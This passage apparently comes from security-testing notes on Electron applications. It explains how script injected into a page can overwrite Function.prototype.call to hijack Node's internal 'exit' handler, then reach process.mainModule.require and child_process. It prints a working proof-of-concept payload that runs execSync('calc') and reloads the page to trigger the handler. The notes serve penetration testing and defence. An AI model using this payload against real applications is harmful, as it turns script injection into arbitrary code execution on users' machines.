"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:
process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})

Then it goes here:
Where "self" is Node's process object:
The process object has a references to "require" function:
process.mainModule.require
As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:
<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>
Get require object from prototype pollution. From https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81​
